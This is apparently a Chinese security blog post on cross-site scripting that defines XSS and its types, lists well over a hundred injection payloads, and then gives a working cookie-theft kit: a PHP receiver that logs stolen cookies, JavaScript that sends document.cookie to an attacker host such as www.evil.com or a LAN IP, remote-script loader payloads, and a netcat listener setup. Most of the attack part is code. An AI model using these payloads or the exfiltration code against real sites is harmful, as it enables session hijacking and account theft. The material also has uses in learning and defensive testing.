1、xss漏洞的定义

  XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻击。

 

2、xss漏洞的危害

  1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3、盗窃企业重要的具有商业价值的资料

  4、非法转账

  5、强制发送电子邮件

  6、网站挂马

  7、控制受害者机器向其它网站发起攻击

 

3、xss漏洞的类型

  反射型:

    反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码

    例子: http://target_sys.com/xss/xss01.php?name=<script>alert(/xss/)</script>

 

  存储型:

    存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。

 

    代码示例: <SCRIPT>alert(document.cookie)</SCRIPT>

 

  dom型:

    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

    DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

    在网站页面中有许多页面的元素,当页面到达浏览器时浏览 器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

    document.referer属性

    window.name属性

    location属性

    innerHTML属性

    document.write属性

    默认火狐是不能执行这种dom xss 因为火狐会把url上面的字符串进行编码

    在ie里面默认不编码 但是要关闭xss过滤器方可执行

 

4、一些常见的xss测试语句

  1 <h5>1</h5>
  2 
  3 <SCRIPT>alert(document.cookie)</SCRIPT>
  4 
  5 <img src=1 onerror=alert(document.cookie)>
  6 
  7 其他测试语句
  8 <script>alert('hello,gaga!');</script> //经典语句,哈哈!
  9 >"'><img src="javascript.:alert('XSS')">
 10 
 11 >"'><script>alert('XSS')</script>
 12 
 13 <table background='javascript.:alert(([code])'></table>
 14 
 15 <object type=text/html data='javascript.:alert(([code]);'></object>
 16 
 17 "+alert('XSS')+"
 18 
 19 '><script>alert(document.cookie)</script>
 20 
 21 ='><script>alert(document.cookie)</script>
 22 
 23 <script>alert(document.cookie)</script>
 24 
 25 <script>alert(vulnerable)</script>
 26 
 27 <s&#99;ript>alert('XSS')</script>
 28 
 29 <img src="javas&#99;ript:alert('XSS')">
 30 
 31 %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
 32 
 33 %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 34 
 35 %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 36 
 37 %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
 38 
 39 <script>alert('Vulnerable')</script> 
 40 
 41 a.jsp/<script>alert('Vulnerable')</script>
 42 
 43 "><script>alert('Vulnerable')</script>
 44 
 45 <IMG SRC="javascript.:alert('XSS');">
 46 
 47 <IMG src="/javascript.:alert"('XSS')>
 48 
 49 <IMG src="/JaVaScRiPt.:alert"('XSS')>
 50 
 51 <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
 52 
 53 <IMG SRC="jav&#x09;ascript.:alert('XSS');">
 54 
 55 <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
 56 
 57 <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
 58 
 59 "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
 60 
 61 <IMG SRC=" javascript.:alert('XSS');">
 62 
 63 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
 64 
 65 <BODY BACKGROUND="javascript.:alert('XSS')">
 66 
 67 <BODY ONLOAD=alert('XSS')>
 68 
 69 <IMG DYNSRC="javascript.:alert('XSS')">
 70 
 71 <IMG LOWSRC="javascript.:alert('XSS')">
 72 
 73 <BGSOUND SRC="javascript.:alert('XSS');">
 74 
 75 <br size="&{alert('XSS')}">
 76 
 77 <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
 78 
 79 <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
 80 
 81 <IMG SRC='vbscript.:msgbox("XSS")'>
 82 
 83 <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
 84 
 85 <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
 86 
 87 <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
 88 
 89 <TABLE BACKGROUND="javascript.:alert('XSS')">
 90 
 91 <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
 92 
 93 <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
 94 
 95 <DIV STYLE="width: expression(alert('XSS'));">
 96 
 97 <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
 98 
 99 <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
100 
101 <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
102 
103 <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
104 
105 <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
106 
107 <BASE HREF="javascript.:alert('XSS');//">
108 
109 getURL("javascript.:alert('XSS')")
110 
111 a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
112 
113 <XML SRC="javascript.:alert('XSS');">
114 
115 "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
116 
117 <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
118 
119 <IMG SRC="javascript.:alert('XSS')"
120 
121 <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
122 
123 <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
124 
125 <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
126 
127 <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
128 
129 <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
130 
131 <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

 

5、xss利用

  a. 盗取cookie:

    接收端后端:

1   <?php
2       @ini_set('display_errors',1);
3       $str = $_GET['前端设置接受参数'];
4       $filePath = "新建.php"; #把cookie写道新建.php中
5       $handler = fopen($filePath, "a");
6       fwrite($handler, $str);
7   fclose($handler);
8   ?>

    接收端前端(js文件):

 1   xss.js-1
 2   var img = document.createElement('img');
 3   img.width = 0;
 4   img.height = 0;
 5   img.src = 'http://接收端ip(可以是内网的ip了)/接收端后端文件.php?设置接收参数'+encodeURIComponent(document.cookie);
 6 
 7   xss.js-2 (结合监听的前端代码)
 8   var img=document.createElement("img");
 9   img.src="http://www.evil.com/log?"+escape(document.cookie);
10   document.body.appendChild(img);

    payload:

   <script src="http://接收端ip/接收端前端的js文件.js"></script>
   这里http四个字母可以去掉,因为网站有的时候是https

    <img onerror=document.body.appendChild(document.createElement('script')).src='//接收端ip/接收端前端的js文件.js'>

 

    <script>var img=document.createElement("img");img.src="http://接收端ip/?"+escape(document.cookie);</script>  (结合监听使用)

    或者端口监听也可以:

      xss+端口监听:

      在dos命令框中进入nc端口

      输入-lvp 端口号 进行监听

      然后输入xsspayload:

1     <script>
2     document.write('<img src="http://本地ip与端口/?'+document.cookie+'"/>');
3     </script>
4     例如:
5     <script>
6     document.write('<img src="http://192.168.43.110:12345/?'+document.cookie+'"/>');
7     </script>

 

 

posted on 2021-07-27 16:46  EndlessShw  阅读(427)  评论(0编辑  收藏  举报